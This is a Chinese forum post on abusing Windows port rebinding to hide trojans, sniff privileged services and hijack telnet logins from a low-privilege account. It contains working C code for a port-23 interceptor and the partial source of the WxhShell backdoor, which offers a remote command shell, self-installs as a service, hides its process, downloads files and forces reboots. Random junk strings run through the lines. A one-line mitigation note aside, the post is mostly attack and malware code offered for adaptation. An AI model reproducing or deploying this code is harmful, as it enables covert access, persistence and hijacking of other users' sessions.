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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,l7ty#j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ok({Al1A,w  
60AX2-sdJ,  
  saddr.sin_family = AF_INET; ~rY<y%K  
L +.K}w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G68N@g  
h/(9AO}t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3[aJ=5  
i$:CGUb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x_Ais&Gc  
Punbw\9!d,  
  这意味着什么?意味着可以进行如下的攻击: PD/JXExK  
fBd +gT\S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TJsT .DWW~  
9f,HjRP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E4y"$U%.  
! 2Y, a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l/rhA6kEU  
gYzKUX@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9fl !CG  
{Y'_QW1:2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YN>#zr+~  
4 <]QMA0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cv$TNkP*  
F/EHU?_EI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [S</QS!  
<!OP b(g2  
  #include tg8VFH2q.z  
  #include 1NOz $fW  
  #include 'OX6e Y5  
  #include    J?%D4AeS]v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2,QkktJLo  
  int main() qs-:JmA_w  
  { g\ *gHHa  
  WORD wVersionRequested; &*)tqQeQf  
  DWORD ret; BTd'bD~EA  
  WSADATA wsaData; LK:|~UV?  
  BOOL val; 6gR=e+  
  SOCKADDR_IN saddr; [[ s k  
  SOCKADDR_IN scaddr; Qn*c<:  
  int err; @MB;Ez v  
  SOCKET s; U5Ho? `<  
  SOCKET sc; !^"hYp`  
  int caddsize; Ugdm"  
  HANDLE mt; ~C!vfPC  
  DWORD tid;   B|GJboQ  
  wVersionRequested = MAKEWORD( 2, 2 ); Fsq S)  
  err = WSAStartup( wVersionRequested, &wsaData ); HZK0Ldf  
  if ( err != 0 ) { ]-PF?8  
  printf("error!WSAStartup failed!\n"); h0^V!.- 5  
  return -1; caj)  
  } nW drVT$  
  saddr.sin_family = AF_INET; \GvVs  
   BgpJ;D+N4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 giu~"#0/F  
U.^)|IHW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }lxvXVc{I  
  saddr.sin_port = htons(23); Bnxzy n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ReK@~#hLY  
  { )7i?8XiSZF  
  printf("error!socket failed!\n"); l5h9Eq  
  return -1; s)M2Z3>+  
  } R<U?)8g,h~  
  val = TRUE; 2bxT%xH:g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~y|%D;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A|>C3S  
  { q90S>c,  
  printf("error!setsockopt failed!\n"); NI^Y%N  
  return -1; lMm-K%(2  
  } &% *S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )$]+R?v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 } 1XLe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j{;3+LCo*  
>6kWmXK[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3x=F  
  { _E30t( _.  
  ret=GetLastError(); k]>k1Mi=  
  printf("error!bind failed!\n"); ;Q"F@v}18  
  return -1; (%P* rl  
  } Sm Ei _u]'  
  listen(s,2); H_AV3 ;  
  while(1) VG8rd'Z  
  { O\D({>  
  caddsize = sizeof(scaddr); no/]Me!j=  
  //接受连接请求 ./fEx 'E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~F(+uJbO  
  if(sc!=INVALID_SOCKET) RV$+g.4  
  { "FXS;Jf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tAC,'im:*  
  if(mt==NULL) FI/YJ@21  
  { zhCI+u4/qz  
  printf("Thread Creat Failed!\n"); )-QNWN H  
  break; 18n84RkI9  
  } W8P**ze4)  
  } R Nv<kw  
  CloseHandle(mt); HJ'93,  
  } bNaUzM!,H  
  closesocket(s); 6szkE{-/?  
  WSACleanup(); LNN:GD)>  
  return 0; oOL3O@)w>  
  }   f C^l9CRY  
  DWORD WINAPI ClientThread(LPVOID lpParam) pS<b|wu?f  
  { V?O%kd  
  SOCKET ss = (SOCKET)lpParam; o6y,M!p@  
  SOCKET sc; jo|q,t  
  unsigned char buf[4096]; aW6+Up+G*  
  SOCKADDR_IN saddr; Z*TW;h0ZQ3  
  long num; {fb~`=?  
  DWORD val; j0%0yb{-^  
  DWORD ret; >=`c [=:Z_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4bxkp3~h;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xou#38&p>  
  saddr.sin_family = AF_INET; &Bp\kv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |be r:1  
  saddr.sin_port = htons(23); R`* *!ku  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (k5DbP[  
  { wr$}AX  
  printf("error!socket failed!\n");  g_>ZE  
  return -1; -oZ a c  
  } wqwJpWIe  
  val = 100; .#:,j1L"53  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L~oFW'  
  { B![5+  
  ret = GetLastError(); YT5>pM-%  
  return -1; *QG3Jz  
  } 5i/E=D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }]~}DHYr  
  { NqZRS>60v  
  ret = GetLastError(); I1myuZ  
  return -1; TN %"RL  
  } bg,}J/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r9M={jC  
  { Z M+Hb_6f  
  printf("error!socket connect failed!\n"); tRy D@}  
  closesocket(sc); FR}H$R7#  
  closesocket(ss); . ?p}:  
  return -1; &1p8#i  
  } bNROXiX  
  while(1) ,OKM\N ,  
  { yo*iv+l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /,Rca1W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }K>H S\e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~t:b<'/  
  num = recv(ss,buf,4096,0); Qsntf.fT  
  if(num>0) P*PL6UQ  
  send(sc,buf,num,0); f^)uK+:.  
  else if(num==0) +2zuIW.  
  break; O&,O:b:@  
  num = recv(sc,buf,4096,0); xplo Fw~  
  if(num>0) s3M84wz  
  send(ss,buf,num,0); x ct U.)p  
  else if(num==0) gFT~\3j p=  
  break; t%U[\\ic  
  } A(n=kx  
  closesocket(ss); :6u3Mj{  
  closesocket(sc); e9W7ke E*  
  return 0 ; \B2d(=~4  
  } O^}v/}d  
|mk}@OEf  
LO]6Xd"  
========================================================== ]|N4 #4  
QklNw6,  
下边附上一个代码,,WXhSHELL #eC;3Kq#-  
;:c%l.Y2  
========================================================== B Z?W>'B%$  
aEDN]O95?  
#include "stdafx.h" zcB 2[eaV  
b.4Xn0-M  
#include <stdio.h> "rGOw'!q>  
#include <string.h> y<`?@(0$  
#include <windows.h> q.MVF]  
#include <winsock2.h> xD  
#include <winsvc.h> nuQ6X5>.=  
#include <urlmon.h> $G_Q`w=jM  
M%{?\)s  
#pragma comment (lib, "Ws2_32.lib") g`OOVaB  
#pragma comment (lib, "urlmon.lib") -(w~LT$ "  
zw: C*sY  
#define MAX_USER   100 // 最大客户端连接数 z"K( bw6  
#define BUF_SOCK   200 // sock buffer b%;59^4AjD  
#define KEY_BUFF   255 // 输入 buffer JYd7@Msfc  
b;L>%;  
#define REBOOT     0   // 重启 }E5#X R  
#define SHUTDOWN   1   // 关机 ay(!H~q_U  
)@qup _M@  
#define DEF_PORT   5000 // 监听端口 (a}  
P=^#%7J/l  
#define REG_LEN     16   // 注册表键长度 QP%kL*=8  
#define SVC_LEN     80   // NT服务名长度 5)yOw|Bd  
"PyWo  
// 从dll定义API @%<?GNSO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yvz?4m"_yB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u5Ny=Xm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5w3ZUmjO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^$IZLM?E~  
14D 7U/zer  
// wxhshell配置信息 irsfJUr[V  
struct WSCFG { _;:rkC fj  
  int ws_port;         // 监听端口 8rwYNb.P  
  char ws_passstr[REG_LEN]; // 口令 R|1xXDLm*E  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0HR|aqPo  
  char ws_regname[REG_LEN]; // 注册表键名 ck+b/.gw`  
  char ws_svcname[REG_LEN]; // 服务名 qon{ g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L"foL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C4{\@v}t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ISS\uj63M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s8_aL)@f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :Sc8PLT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %)axGbZG;  
OB6J.dF[%  
}; G*\abL  
JA)o@[l F  
// default Wxhshell configuration T|@#w%c''  
struct WSCFG wscfg={DEF_PORT, %5h^`lp  
    "xuhuanlingzhe", #+" 4&:my  
    1, 85D^@{  
    "Wxhshell", q[G/}  
    "Wxhshell", #%^\\|'z  
            "WxhShell Service", (`6%og#8  
    "Wrsky Windows CmdShell Service", B:-U`CHHQ  
    "Please Input Your Password: ", ] *-;' *  
  1, mP pvZ  
  "http://www.wrsky.com/wxhshell.exe", @H\pipT_b  
  "Wxhshell.exe" H#L#2M%  
    }; Iy S"  
-|}%~0)/bH  
// 消息定义模块 0/\PZX+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 't( }Rq@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Y!pY]Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A XBkJ'jd  
char *msg_ws_ext="\n\rExit."; hOPe^e"  
char *msg_ws_end="\n\rQuit."; l(%k6  
char *msg_ws_boot="\n\rReboot..."; > BNw  
char *msg_ws_poff="\n\rShutdown..."; b]*X<,p  
char *msg_ws_down="\n\rSave to "; hr$Sa  
?j/kOD0  
char *msg_ws_err="\n\rErr!"; u 1ZJHry  
char *msg_ws_ok="\n\rOK!"; mX&xn2}qZ"  
h2wN<dJCM  
char ExeFile[MAX_PATH]; JI"/N`-?;b  
int nUser = 0; r<*O  
HANDLE handles[MAX_USER]; l"J*)P  
int OsIsNt; 6F`qi:a+  
YwL`>?  
SERVICE_STATUS       serviceStatus; pe()f/Jx(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2{ o0@  
[ -ISR7D  
// 函数声明 |2)Sd[ q  
int Install(void); dEASvD'  
int Uninstall(void); lC#RNjDp/~  
int DownloadFile(char *sURL, SOCKET wsh); G02ox5X  
int Boot(int flag); e?V,fzg  
void HideProc(void); ~G>jw"r  
int GetOsVer(void); TbLe6x  
int Wxhshell(SOCKET wsl); vv+D*e&<  
void TalkWithClient(void *cs); *hVb5CS  
int CmdShell(SOCKET sock); BeK2;[5C  
int StartFromService(void); Ge~q3"  
int StartWxhshell(LPSTR lpCmdLine); k-"<{V  
=m}TU)4.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^m*3&x8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E4+b-?PB~  
$$JIBf8  
// 数据结构和表定义 vsKl#R B  
SERVICE_TABLE_ENTRY DispatchTable[] = L[9OVD  
{ iTh xVD  
{wscfg.ws_svcname, NTServiceMain}, H]s4% 9T  
{NULL, NULL} W h| L  
}; 7*i }km  
!@u&{"{`  
// 自我安装 Sx8l<X  
int Install(void) &p5&=zV}  
{ {j?7d; 'j  
  char svExeFile[MAX_PATH]; RqXi1<6j#  
  HKEY key; ]pnYvXf>!  
  strcpy(svExeFile,ExeFile); v ~"Ef_`  
k6@b|  
// 如果是win9x系统,修改注册表设为自启动 J58#$NC `'  
if(!OsIsNt) { 1otspOy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =7 VCtd/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :NuR>~  
  RegCloseKey(key); d.`&0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HsnG4OE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \c{R <Hh  
  RegCloseKey(key); uPkb, :6~Z  
  return 0; Gn59 yG!4  
    } CtM'L   
  } w NH9WG  
} gN?0m4[$i  
else { lEHwZ<je  
/xySwSmh3  
// 如果是NT以上系统,安装为系统服务 [Tb\woU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3jF|Ic  
if (schSCManager!=0) -#aZF2z   
{ 'M8aW!~  
  SC_HANDLE schService = CreateService Wr5Q5s)c  
  ( hK(tPl$  
  schSCManager, vU!8`x)  
  wscfg.ws_svcname, :.$"kXm^  
  wscfg.ws_svcdisp, ?; [ T  
  SERVICE_ALL_ACCESS, 5`~mqqR5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T~X41d\  
  SERVICE_AUTO_START, |3;(~a)%  
  SERVICE_ERROR_NORMAL, R)+t]}  
  svExeFile, R& #tSL  
  NULL, 7^MX l  
  NULL, zDDK  
  NULL, P16YS8$  
  NULL, )~V }oKk0t  
  NULL 5Z{_m;I.   
  ); 4T`&Sl  
  if (schService!=0) }c% pH{ HI  
  { KiAcA]0  
  CloseServiceHandle(schService); O8lFx_N7Q  
  CloseServiceHandle(schSCManager); n'K6vW3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FLZSK:3B]  
  strcat(svExeFile,wscfg.ws_svcname); J &YQ]l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =g~W%})  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +tt9R_S  
  RegCloseKey(key); zA s&%OjG  
  return 0; A59gIp*>  
    } 9tK>gwb  
  } KE.Dt  
  CloseServiceHandle(schSCManager); NZk&JND  
} ?x3Jv<G0*  
} :.uk$jx  
J 02^i5l  
return 1; Es.nHN^]%K  
} 1fFj:p./l_  
J} TfRrf  
// 自我卸载 y+U83a[L*  
int Uninstall(void) q[ d)e6  
{ y-9+a7j  
  HKEY key; PKf:O  
exDkq0u]  
if(!OsIsNt) { Hi7y(h?wj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 81F,Y)x.  
  RegDeleteValue(key,wscfg.ws_regname); dz%EM8  
  RegCloseKey(key); oNM?y:O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }`o? /!X   
  RegDeleteValue(key,wscfg.ws_regname); y=aV=qD  
  RegCloseKey(key); ;YyXT"6/p  
  return 0; rh%m;i<b  
  } 3o6RbW0[  
} |P~;C6sf  
} 2f{T6=SK  
else { i  sW\MB]  
a1c1k}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @dgH50o[  
if (schSCManager!=0) WVX`<  
{ Qi9-z'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E0l _--  
  if (schService!=0) \+nGOvM  
  { 3`F) AWzdr  
  if(DeleteService(schService)!=0) { A\$ >>Z  
  CloseServiceHandle(schService); =X(%Svnp  
  CloseServiceHandle(schSCManager); H&4~Uo.5  
  return 0; Rc[0aj:  
  } zY=jXa)K~  
  CloseServiceHandle(schService); OH6^GPF6  
  } &@v<nO-  
  CloseServiceHandle(schSCManager); t'1Y@e  
} YF[f Z  
} ^6;V}2>v}  
3l4NC03I&  
return 1; >#(n"RCHf  
}  !HK^AwNY  
u[oUCTY  
// 从指定url下载文件 h#qN+qt}  
int DownloadFile(char *sURL, SOCKET wsh) +dW|^I{H}  
{ "y;bsZBd"  
  HRESULT hr; 5[gh|I;D  
char seps[]= "/"; !EBY@ Y1  
char *token; 0Scm? l3  
char *file; \9{F5S z  
char myURL[MAX_PATH]; 6GL=)0Ah  
char myFILE[MAX_PATH]; T!2=*~A  
jqnCA<G~B-  
strcpy(myURL,sURL); D'_Bz8H!p  
  token=strtok(myURL,seps); h|;qG)f^  
  while(token!=NULL) {i [y9  
  { OB-Q /?0  
    file=token; `BY&>WY[  
  token=strtok(NULL,seps); uQqWew8l+  
  } Pbu{'y3J  
v?:: |{  
GetCurrentDirectory(MAX_PATH,myFILE); kH948<fk3  
strcat(myFILE, "\\"); 9X}I>  
strcat(myFILE, file); G"dS+,Q  
  send(wsh,myFILE,strlen(myFILE),0); J CGC  
send(wsh,"...",3,0); Y&.UIosWb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {b)~V3rsY  
  if(hr==S_OK) 4QHS{tj  
return 0; DcD{*t?x  
else 1Sz A3c  
return 1; :t("L-GPW  
c64v,Hj9  
} ,'fxIO  
ExBUpDQc  
// 系统电源模块 8wZf ]_  
int Boot(int flag) PWr(*ZP>hI  
{ =8{WZCW5  
  HANDLE hToken; +A8j@d#:  
  TOKEN_PRIVILEGES tkp; MGpt}|t-  
;#/@+4@a&  
  if(OsIsNt) { MCTsi:V>+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \nqkA{;B{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p0:kz l4$  
    tkp.PrivilegeCount = 1; OO) ~HV4\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +IFw_3$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |N/G'>TS  
if(flag==REBOOT) { BUZ _)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H^%lDz  
  return 0; L1{GL #qV  
} 5z}w}zdg  
else { 23F/\2MSG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u.XQ&  
  return 0; `:NaEF?Sj  
} |*5 =_vF  
  } OhZgcUqQ8  
  else { u+m,b76  
if(flag==REBOOT) { NpP')m!`}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <UP m=Hb  
  return 0; 7, } $u  
} xw5d|20b  
else { X2sHE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n/d`qS  
  return 0; "/Pjjb:2  
} =T?}Nt  
} :M3oUE{  
thlY0XCq,%  
return 1; ;|T!#@j  
} &)d$t'7p  
VosZJv=  
// win9x进程隐藏模块 f|7\DeY9U  
void HideProc(void) #N(= 3Cj  
{ 9m2, qr|  
M9\#Aq&\i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }|OaL*|u  
  if ( hKernel != NULL ) >SF Uy\3  
  { *iO u'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); enS}A*Io  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s8"8y`u  
    FreeLibrary(hKernel); {P%9  
  } u7%D6W~m0  
IY'=DePd  
return; `>Tu|3%\  
} hg.#DxRi{  
Qj{8?lew  
// 获取操作系统版本 |~`as(@Ih  
int GetOsVer(void) +d}E&=p_  
{ kl!wVLE  
  OSVERSIONINFO winfo; p@!nYPr.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z%zj";C G  
  GetVersionEx(&winfo); AN:sQX`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !%+2Yifna  
  return 1; jd]s<C3o  
  else H(c72]@Vg  
  return 0; P9Yy9_a|x  
} ,_aM`%q?Fj  
{'sY|lou  
// 客户端句柄模块 N[]Hc  
int Wxhshell(SOCKET wsl) j`'`)3f  
{ z<sg0K8z63  
  SOCKET wsh; QZp6YSz.4  
  struct sockaddr_in client; /n~\\9#3  
  DWORD myID; -C-?`R  
n9w9JXp;!  
  while(nUser<MAX_USER) EF7+ *Q9  
{ S1 Z2_V  
  int nSize=sizeof(client); z?/1Kj}xG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); omO S=d!o  
  if(wsh==INVALID_SOCKET) return 1; =!O*/6rz  
/tV/85r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y?CCD4"qn  
if(handles[nUser]==0) b5$Jf jI  
  closesocket(wsh); [yl sz?  
else S:4crI  
  nUser++; 4(e59ZgY  
  } 2]GdD*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CTt vyr  
6R-&-4  
  return 0; YBYZ=,"d  
} K 8n4oz#z  
>EL)X #e  
// 关闭 socket 'E/*d2CDM(  
void CloseIt(SOCKET wsh) q"O.Cbk  
{ q{s(.Uq$&  
closesocket(wsh); 0q>P~] Ow  
nUser--; D']ZlB 'K  
ExitThread(0); bwVPtu`  
} j?y LDLj  
5>3}_  
// 客户端请求句柄 d(vsE%/!  
void TalkWithClient(void *cs) EXP%Mk/  
{ lzw3=H  
,NnhHb2\  
  SOCKET wsh=(SOCKET)cs; rG#Z=*b%  
  char pwd[SVC_LEN]; +iRq8aS_  
  char cmd[KEY_BUFF]; .Ha'p.  
char chr[1]; A+y  
int i,j; ;\EiM;Q]  
CTWn2tpW  
  while (nUser < MAX_USER) { t+5E#!y  
mj|)nOd  
if(wscfg.ws_passstr) { j4?@(u9;j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CkJCi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7.DtdyM  
  //ZeroMemory(pwd,KEY_BUFF); VrZ>bma;  
      i=0; "UEv&mQ  
  while(i<SVC_LEN) { 9lB]~,z  
vN 2u34  
  // 设置超时 d(g^M1 m  
  fd_set FdRead; F+E|r6'i  
  struct timeval TimeOut; *f,DhT/P  
  FD_ZERO(&FdRead); iX0iRC6f  
  FD_SET(wsh,&FdRead); u6`=x$&  
  TimeOut.tv_sec=8; xs\!$*R  
  TimeOut.tv_usec=0;  K;LZ-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $P1O>x>LIL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N`)$[&NG]  
Q{k At%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8G5Da|\  
  pwd=chr[0]; zBO(`=|  
  if(chr[0]==0xd || chr[0]==0xa) { [((;+B  
  pwd=0; J=pztASt  
  break; i)#s.6.D>  
  } LL|7rS|o  
  i++; ;7N Z<k  
    } AuR$g7z  
d Le-nF  
  // 如果是非法用户,关闭 socket .{;Y'Zc14S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RI68%ZoL  
} nXjP x@  
gN)c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ;raN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B||;'  
.VTy[|o   
while(1) { K}6dg<  
Cy*|&=>j  
  ZeroMemory(cmd,KEY_BUFF); `"qP  
0 IQ'3_  
      // 自动支持客户端 telnet标准   {.yStB. T  
  j=0;  ]xguBh]  
  while(j<KEY_BUFF) { /y^7p9Z`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F :6SPY y  
  cmd[j]=chr[0]; =]-j;#'&  
  if(chr[0]==0xa || chr[0]==0xd) { b T 2a40ul  
  cmd[j]=0; FQ>`{%>  
  break; N}\[Gr  
  } q>w)"Dd  
  j++; ^ wY[3"{  
    } <>m }}^  
!QDQ_  
  // 下载文件 # O4gg  
  if(strstr(cmd,"http://")) { #2`D`>7456  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1SrJ6W @j[  
  if(DownloadFile(cmd,wsh)) 4%1D}9hO6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQ=,y>-*  
  else l4TpH|k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'ejvH;V3i  
  } "R8KQj  
  else { 0flg=U9  
Ela-,(Glk  
    switch(cmd[0]) { U%h);!<  
  xQw7 :18wQ  
  // 帮助 f]7M'sy|  
  case '?': { 7Sz?S_N/j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F @Te@n  
    break;  iD= p\  
  } >Z1q j>  
  // 安装 \6;=$f/?t  
  case 'i': { 4mn&4e  
    if(Install()) y>*xVK{D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S$2b>#@UJ  
    else K(XN-D/c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8u!"#S#>a  
    break; *m2=/Sh  
    } *Z_C4Tj  
  // 卸载 iMfngIs |  
  case 'r': { XJ2^MF2BU  
    if(Uninstall()) kh%{C] ".1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYiv'6z  
    else 9o>8o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'H5,)j0R  
    break; &i!vd/*WlD  
    } pIbdN/z  
  // 显示 wxhshell 所在路径 @y31NH(  
  case 'p': { waKT{5k  
    char svExeFile[MAX_PATH]; $ "Bh]-  
    strcpy(svExeFile,"\n\r"); pHoEa7:  
      strcat(svExeFile,ExeFile); 4nAa`(62  
        send(wsh,svExeFile,strlen(svExeFile),0); R0oKbs{  
    break; :{(w3<i  
    } $<ld3[l i  
  // 重启 ~^+0  
  case 'b': { W d0NT@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \P1=5rP  
    if(Boot(REBOOT)) WoxwEi1~0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4xi1M#%  
    else { 0-{t FN  
    closesocket(wsh); #M A4  
    ExitThread(0); #[#KL/i)$  
    } s|y:UgD  
    break; b*ef);  
    } ':R,53tjl  
  // 关机 7mm1P9Z  
  case 'd': { f-n z{U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y'e eA 2O  
    if(Boot(SHUTDOWN)) x1 1U@jd+1  
